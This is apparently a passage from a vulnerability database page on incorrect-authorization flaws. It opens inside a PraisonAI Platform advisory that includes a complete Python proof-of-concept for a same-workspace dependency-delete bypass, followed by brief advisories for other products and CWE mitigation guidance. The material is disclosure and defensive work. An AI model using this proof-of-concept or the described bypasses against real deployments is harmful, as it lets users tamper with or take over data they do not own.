`0.1.4`, direct member dependency deletes already returned `204`, so this narrower bypass is masked by broader older delete authorization behavior.\n\nSuggested affected range for the endpoint-selection delete bypass after delete ownership checks were introduced: `pypi:praisonai-platform \u003e=0.1.6, \u003c=0.1.8`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI Platform advisories include dependency endpoint and delete ownership fixes, but the checked public advisories do not appear to cover this same same-workspace endpoint-selection delete authorization bypass on current head.\n\n`GHSA-4x6r-9v57-3gqw`, \"praisonai-platform: Dependency endpoints accept any issue_id and dep_id without workspace ownership check, cross-workspace issue linking + read + delete IDOR\", covers older cross-workspace dependency endpoint IDOR behavior in versions `\u003c= 0.1.2`. This report is distinct because the PoV uses one workspace, both issues are verified inside that workspace, and the non-member control returns `403`.\n\n`GHSA-rh39-9c67-59mh`, \"Missing ownership check on DELETE endpoints allows members to delete others\u0027 content in Platform API\", covers broad member DELETE behavior. This report is distinct because the direct owner issue dependency delete path returns `403` in current head, `0.1.6`, and `0.1.8`; the delete succeeds only when the same dependency is addressed through the member-owned related issue endpoint.\n\n`GHSA-2fjj-qqg8-fg7x`, \"Authorization Bypass Through User-Controlled Key in praisonai-platform\", covers user-controlled `project_id` reference handling and project stats pollution. This report does not rely on project references or cross-workspace ids.\n\nOlder cross-workspace object IDOR advisories such as `GHSA-gv23-xrm3-8c62`, `GHSA-6h6v-6m7w-7vxx`, `GHSA-943m-6wx2-rc2j`, `GHSA-xwq8-frcg-77q8`, and `GHSA-7p8g-6c6g-h9w7` cover global object ID workspace-boundary failures. This report is scoped to same-workspace owner/admin authorization over dependency edge deletion.\n\n## References\n\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4x6r-9v57-3gqw`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7`\n- `https://cwe.mitre.org/data/definitions/862.html`\n- `https://cwe.mitre.org/data/definitions/863.html`\n\n## Appendix A - Longer Version Sweep\n\n```text\n=== praisonai-platform 0.1.4 ===\n\"member_delete_owner_issue_endpoint\": 204\n\"member_delete_member_issue_endpoint\": 404\n\"member_delete_owner_only_dependency\": 204\n\"non_member_create_dependency\": 403\n\"owner_delete_owner_only_dependency\": 404\n\"owner_dependency_count_after_member_delete\": 0\n\n=== praisonai-platform 0.1.6 ===\n\"member_delete_owner_issue_endpoint\": 403\n\"member_delete_member_issue_endpoint\": 204\n\"member_delete_owner_only_dependency\": 403\n\"non_member_create_dependency\": 403\n\"owner_delete_owner_only_dependency\": 204\n\"owner_dependency_count_after_member_delete\": 0\n\n=== praisonai-platform 0.1.8 ===\n\"member_delete_owner_issue_endpoint\": 403\n\"member_delete_member_issue_endpoint\": 204\n\"member_delete_owner_only_dependency\": 403\n\"non_member_create_dependency\": 403\n\"owner_delete_owner_only_dependency\": 204\n\"owner_dependency_count_after_member_delete\": 0\n```\n\n## Appendix B - Full PoV Script\n\nSave this as `pov_platform_dependency_delete_bypass.py` before running the PoC commands above.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI Platform issue-dependency delete authorization.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _load_local_source(repo: Path | None) -\u003e None:\n    if repo is None:\n        return\n    platform_root = repo / \"src\" / \"praisonai-platform\"\n    agents_root = repo / \"src\" / \"praisonai-agents\"\n    for path in (str(platform_root), str(agents_root)):\n        if path not in sys.path:\n            sys.path.insert(0, path)\n\n\nasync def _register(client: Any, email: str, name: str) -\u003e tuple[str, str]:\n    response = await client.post(\n        \"/api/v1/auth/register\",\n        json={\"email\": email, \"password\": \"Password1!\", \"name\": name},\n    )\n    if response.status_code \u003e= 400:\n        raise RuntimeError(\n            f\"register failed for {email}: {response.status_code} {response.text}\"\n        )\n    body = response.json()\n    return body[\"token\"], body[\"user\"][\"id\"]\n\n\nasync def _create_issue(\n    client: Any,\n    workspace_id: str,\n    headers: dict[str, str],\n    title: str,\n) -\u003e str:\n    response = await client.post(\n        f\"/api/v1/workspaces/{workspace_id}/issues/\",\n        json={\"title\": title, \"priority\": \"high\"},\n        headers=headers,\n    )\n    response.raise_for_status()\n    return response.json()[\"id\"]\n\n\nasync def _run(repo: Path | None) -\u003e dict[str, Any]:\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"local-poc-secret-32-bytes-minimum\"\n    _load_local_source(repo)\n\n    from httpx import ASGITransport, AsyncClient\n    from sqlalchemy.ext.asyncio import create_async_engine\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db import base as base_mod\n    from praisonai_platform.db.base import Base, reset_engine\n\n    await reset_engine()\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n    base_mod._engine = engine\n    base_mod._session_factory = None\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n    transport = ASGITransport(app=app)\n    async with AsyncClient(transport=transport, base_url=\"http://local-poc\") as client:\n        owner_token, owner_id = await _register(client, \"owner@example.com\", \"Owner\")\n        member_token, member_id = await _register(client, \"member@example.com\", \"Member\")\n        outsider_token, _ = await _register(client, \"outsider@example.com\", \"Outsider\")\n\n        owner_headers = {\"Authorization\": f\"Bearer {owner_token}\"}\n        member_headers = {\"Authorization\": f\"Bearer {member_token}\"}\n        outsider_headers = {\"Authorization\": f\"Bearer {outsider_token}\"}\n\n        ws_resp = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\"name\": \"Shared Workspace\", \"slug\": \"shared-workspace\"},\n            headers=owner_headers,\n        )\n        ws_resp.raise_for_status()\n        workspace_id = ws_resp.json()[\"id\"]\n\n        add_member = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\"user_id\": member_id, \"role\": \"member\"},\n            headers=owner_headers,\n        )\n        add_member.raise_for_status()\n\n        owner_issue_id = await _create_issue(\n            client, workspace_id, owner_headers, \"Owner-owned blocked issue\"\n        )\n        member_issue_id = await _create_issue(\n            client, workspace_id, member_headers, \"Member-owned related issue\"\n        )\n\n        dep_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n            json={\"depends_on_issue_id\": member_issue_id, \"type\": \"blocks\"},\n            headers=owner_headers,\n        )\n        dep_resp.raise_for_status()\n        dep_id = dep_resp.json()[\"id\"]\n\n        member_delete_owner_endpoint = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}\",\n            headers=member_headers,\n        )\n        member_delete_member_endpoint = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}\",\n            headers=member_headers,\n        )\n        owner_list_after_member_delete = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n            headers=owner_headers,\n        )\n\n        owner_issue_b = await _create_issue(\n            client, workspace_id, owner_headers, \"Owner issue B\"\n        )\n        owner_issue_c = await _create_issue(\n            client, workspace_id, owner_headers, \"Owner issue C\"\n        )\n        owner_only_dep_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/\",\n            json={\"depends_on_issue_id\": owner_issue_c, \"type\": \"blocks\"},\n            headers=owner_headers,\n        )\n        owner_only_dep_resp.raise_for_status()\n        owner_only_dep_id = owner_only_dep_resp.json()[\"id\"]\n        member_delete_owner_only_dep = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}\",\n            headers=member_headers,\n        )\n        owner_delete_owner_only_dep = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}\",\n            headers=owner_headers,\n        )\n\n        outsider_create_dependency = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n            json={\"depends_on_issue_id\": member_issue_id, \"type\": \"blocks\"},\n            headers=outsider_headers,\n        )\n\n        member_created_dep_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n            json={\"depends_on_issue_id\": member_issue_id, \"type\": \"related\"},\n            headers=member_headers,\n        )\n        if member_created_dep_resp.status_code == 201:\n            member_created_dep_id = member_created_dep_resp.json()[\"id\"]\n            await client.delete(\n                f\"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{member_created_dep_id}\",\n                headers=owner_headers,\n            )\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    dependencies_after_delete = (\n        owner_list_after_member_delete.json()\n        if owner_list_after_member_delete.status_code == 200\n        else None\n    )\n    checks = {\n        \"member_delete_owner_issue_endpoint\": member_delete_owner_endpoint.status_code,\n        \"member_delete_member_issue_endpoint\": member_delete_member_endpoint.status_code,\n        \"owner_dependency_count_after_member_delete\": (\n            len(dependencies_after_delete) if dependencies_after_delete is not None else None\n        ),\n        \"member_delete_owner_only_dependency\": member_delete_owner_only_dep.status_code,\n        \"owner_delete_owner_only_dependency\": owner_delete_owner_only_dep.status_code,\n        \"non_member_create_dependency\": outsider_create_dependency.status_code,\n        \"member_create_dependency_on_owner_issue\": member_created_dep_resp.status_code,\n    }\n    vulnerable = (\n        checks[\"member_delete_owner_issue_endpoint\"] == 403\n        and checks[\"member_delete_member_issue_endpoint\"] == 204\n        and checks[\"owner_dependency_count_after_member_delete\"] == 0\n        and checks[\"member_delete_owner_only_dependency\"] == 403\n        and checks[\"owner_delete_owner_only_dependency\"] == 204\n        and checks[\"non_member_create_dependency\"] == 403\n        and checks[\"member_create_dependency_on_owner_issue\"] == 201\n    )\n    return {\n        \"package\": \"praisonai-platform\",\n        \"source\": _source_id(repo),\n        \"workspace_role\": \"member\",\n        \"summary\": (\n            \"A workspace member can delete a dependency edge that protects an owner-created \"\n            \"issue by addressing the same dependency through a member-owned related issue.\"\n        ),\n        \"issue_ids\": {\n            \"owner_issue\": owner_issue_id,\n            \"member_issue\": member_issue_id,\n        },\n        \"dependency_id\": dep_id,\n        \"checks\": checks,\n        \"vulnerable\": vulnerable,\n    }\n\n\ndef _source_id(repo: Path | None) -\u003e str:\n    if repo is None:\n        import importlib.metadata\n\n        return f\"pypi:praisonai-platform=={importlib.metadata.version(\u0027praisonai-platform\u0027)}\"\n    rev = subprocess.check_output(\n        [\"git\", \"-C\", str(repo), \"rev-parse\", \"HEAD\"],\n        text=True,\n    ).strip()\n    return f\"git:{rev}\"\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--repo\", type=Path)\n    parser.add_argument(\"--json\", action=\"store_true\")\n    args = parser.parse_args()\n\n    result = asyncio.run(_run(args.repo.resolve() if args.repo else None))\n    if args.json:\n        print(json.dumps(result, indent=2, sort_keys=True))\n    else:\n        for key, value in result[\"checks\"].items():\n            print(f\"{key}: {value}\")\n        print(f\"vulnerable: {result[\u0027vulnerable\u0027]}\")\n    return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n```",
  "id": "GHSA-mxmx-rh57-jx58",
  "modified": "2026-10-07T14:28:56Z",
  "published": "2026-10-07T14:28:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-mxmx-rh57-jx58"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Platform members can delete owner issue dependencies through member-owned related issues"
}

GHSA-MXPC-P9XR-9J86

Vulnerability from github – Published: 2022-05-24 19:09 – Updated: 2023-08-31 03:30
VLAI
Details

Agents are able to list appointments in the calendars without required permissions. This issue affects: OTRS AG ((OTRS)) Community Edition: 6.0.x version 6.0.1 and later versions. OTRS AG OTRS: 7.0.x versions prior to 7.0.27.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-36091"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-26T05:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Agents are able to list appointments in the calendars without required permissions. This issue affects: OTRS AG ((OTRS)) Community Edition: 6.0.x version 6.0.1 and later versions. OTRS AG OTRS: 7.0.x versions prior to 7.0.27.",
  "id": "GHSA-mxpc-p9xr-9j86",
  "modified": "2023-08-31T03:30:36Z",
  "published": "2022-05-24T19:09:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36091"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/08/msg00040.html"
    },
    {
      "type": "WEB",
      "url": "https://otrs.com/release-notes/otrs-security-advisory-2021-14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXPM-JVRH-GCJ5

Vulnerability from github – Published: 2026-07-15 18:31 – Updated: 2026-07-15 18:31
VLAI
Details

immich before 3.0.3 contains a broken access control vulnerability in the PUT /albums/:id/user/:userId endpoint that allows shared album editors to modify member roles without owner-only restrictions. Attackers with editor access can demote the album owner to editor and promote themselves to owner in sequential requests, gaining full control including deletion and eviction capabilities.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-59258"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-15T18:16:49Z",
    "severity": "HIGH"
  },
  "details": "immich before 3.0.3 contains a broken access control vulnerability in the PUT /albums/:id/user/:userId endpoint that allows shared album editors to modify member roles without owner-only restrictions. Attackers with editor access can demote the album owner to editor and promote themselves to owner in sequential requests, gaining full control including deletion and eviction capabilities.",
  "id": "GHSA-mxpm-jvrh-gcj5",
  "modified": "2026-07-15T18:31:58Z",
  "published": "2026-07-15T18:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59258"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immich-app/immich/issues/29857"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immich-app/immich/pull/29883"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immich-app/immich/commit/84dff19ca9a467752d848ff54763d62c04ebf960"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immich-app/immich/releases/tag/v3.0.3"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/immich-shared-album-editor-ownership-takeover-via-updateuser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-P222-VPCP-XW36

Vulnerability from github – Published: 2022-05-24 17:33 – Updated: 2022-05-24 17:33
VLAI
Details

A vulnerability in Cisco SD-WAN Software could allow an authenticated, local attacker to elevate privileges to root on the underlying operating system. The vulnerability is due to insufficient security controls on the CLI. An attacker could exploit this vulnerability by using an affected CLI utility that is running on an affected system. A successful exploit could allow the attacker to gain root privileges.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-3600"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-06T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in Cisco SD-WAN Software could allow an authenticated, local attacker to elevate privileges to root on the underlying operating system. The vulnerability is due to insufficient security controls on the CLI. An attacker could exploit this vulnerability by using an affected CLI utility that is running on an affected system. A successful exploit could allow the attacker to gain root privileges.",
  "id": "GHSA-p222-vpcp-xw36",
  "modified": "2022-05-24T17:33:22Z",
  "published": "2022-05-24T17:33:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3600"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vepeshlg-tJghOQcA"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-P225-PC2X-4JPM

Vulnerability from github – Published: 2022-02-09 00:58 – Updated: 2021-04-01 19:38
VLAI
Summary
Incorrect Authorization in keycloak
Details

A flaw was found in keycloak before version 13.0.0. In some scenarios a user still has access to a resource after changing the role mappings in Keycloak and after expiration of the previous access token.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-parent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-1725"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-668",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-01T19:38:17Z",
    "nvd_published_at": "2021-01-28T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in keycloak before version 13.0.0. In some scenarios a user still has access to a resource after changing the role mappings in Keycloak and after expiration of the previous access token.",
  "id": "GHSA-p225-pc2x-4jpm",
  "modified": "2021-04-01T19:38:17Z",
  "published": "2022-02-09T00:58:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1725"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1765129"
    },
    {
      "type": "WEB",
      "url": "https://issues.redhat.com/browse/KEYCLOAK-16550"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incorrect Authorization in keycloak"
}

GHSA-P226-WWRR-FMWW

Vulnerability from github – Published: 2026-07-29 12:31 – Updated: 2026-07-29 12:31
VLAI
Details

The Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 2.4.37 vi the user_filter function. This makes it possible for unauthenticated attackers to create admin accounts.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-10656"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-29T10:16:31Z",
    "severity": "CRITICAL"
  },
  "details": "The Spreadsheet Price Changer for WooCommerce and WP E-commerce \u2013 Light plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 2.4.37 vi the user_filter function. This makes it possible for unauthenticated attackers to create admin accounts.",
  "id": "GHSA-p226-wwrr-fmww",
  "modified": "2026-07-29T12:31:20Z",
  "published": "2026-07-29T12:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10656"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/trunk/sellingcommander.php#L3725"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1f891b68-72c4-4f94-bd49-52576ad710f9?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P23P-M9MC-PG6Q

Vulnerability from github – Published: 2022-05-24 19:13 – Updated: 2025-05-30 18:30
VLAI
Details

In Eigen NLP 3.10.1, a lack of access control on the /auth/v1/sso/config/ SSO configuration endpoint allows any logged-in user (guest, standard, or admin) to view and modify information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-38615"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-07T12:15:00Z",
    "severity": "HIGH"
  },
  "details": "In Eigen NLP 3.10.1, a lack of access control on the /auth/v1/sso/config/ SSO configuration endpoint allows any logged-in user (guest, standard, or admin) to view and modify information.",
  "id": "GHSA-p23p-m9mc-pg6q",
  "modified": "2025-05-30T18:30:40Z",
  "published": "2022-05-24T19:13:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38615"
    },
    {
      "type": "WEB",
      "url": "https://cds.thalesgroup.com/en/tcs-cert/CVE-2021-38615"
    },
    {
      "type": "WEB",
      "url": "https://eigentech.com"
    },
    {
      "type": "WEB",
      "url": "https://excellium-services.com/cert-xlm-advisory"
    },
    {
      "type": "WEB",
      "url": "https://excellium-services.com/cert-xlm-advisory/CVE-2021-38615"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.